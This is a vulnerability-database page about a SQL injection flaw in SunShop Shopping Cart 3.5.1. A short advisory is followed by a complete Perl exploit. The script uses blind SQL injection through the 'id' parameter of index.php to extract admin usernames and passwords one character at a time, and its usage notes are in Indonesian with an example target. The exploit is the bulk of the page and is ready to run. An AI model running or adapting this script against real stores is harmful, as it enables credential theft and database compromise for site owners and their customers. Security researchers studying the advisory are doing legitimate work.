Lucene search
K

SunShop Shopping Cart <= 3.5.1 - 'index.php' SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

SunShop Shopping Cart version 3.5.1 SQL Injection Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/29241/info

SunShop Shopping Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SunShop Shopping Cart 3.5.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w
use LWP::UserAgent;
# scripts : SunShop Version 3.5.1 Remote Blind Sql Injection
# scripts site : http://www.turnkeywebtools.com/sunshop/
# Discovered
# By : irvian
# site : http://irvian.cn
# email : [email protected]

print &#34;\r\n[+]-----------------------------------------[+]\r\n&#34;;
print &#34;[+]Blind SQL injection [+]\r\n&#34;;
print &#34;[+]SunShop Version 3.5.1 [+]\r\n&#34;;
print &#34;[+]code by irvian [+]\r\n&#34;;
print &#34;[+]special : ifx, arioo, jipank, bluespy [+]\r\n&#34;;
print &#34;[+]-----------------------------------------[+]\n\r&#34;;
if (@ARGV &#60; 5){
die &#34;

Cara Mengunakan : perl $0 host option id tabel itemid

Keterangan
host : http://victim.com
Option : pilih 1 untuk mencari username dan pilih 2 untuk mencari password
id : Isi Angka Kolom id biasanya 1, 2 ,3 dst
tabel : Isi Kolom tabel biasanya admin atau ss_admin
itemid : Isi Angka valid (ada productnya) di belakang index.php?action=item&id=
Contoh : perl $0 http://www.underhills.com/cart 1 1 admin 10
\n&#34;;}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];
$tabel = $ARGV[3];
$itemid = $ARGV[4];

if ($option eq 1){
syswrite(STDOUT, &#34;username: &#34;, 10);}
elsif ($option eq 2){
syswrite(STDOUT, &#34;password: &#34;, 10);}

for($i = 1; $i &#60;= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n &#60;= 57)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n &#60;= 122)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}
print &#34;\n[+]finish Execution Exploit\n&#34;;

sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $tbl = $_[3];
my $i = $_[4];
my $n = $_[5];
my $item = $_[6];

if ($op eq 1){
$klm = &#34;username&#34;;
}
elsif ($op eq 2){
$klm = &#34;password&#34;;
}
my $ua = LWP::UserAgent-&#62;new;
my $url = &#34;$site&#34;.&#34;/index.php?action=item&id=&#34;.&#34;$item&#34;.&#34;&#39;%20AND%20SUBSTRING((SELECT%20&#34;.&#34;$klm&#34;.&#34;%20FROM%20&#34;.&#34;$tbl&#34;.&#34;%20WHERE%20id=&#34;.&#34;$id&#34;.&#34;),&#34;.&#34;$i&#34;.&#34;,1)=CHAR(&#34;.&#34;$n&#34;.&#34;)/*&#34;;
my $res = $ua-&#62;get($url);
my $browser = $res-&#62;content;
if ($browser !~ /This product is currently not viewable/i){
return 1;
}
else {
return 0;
}

}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15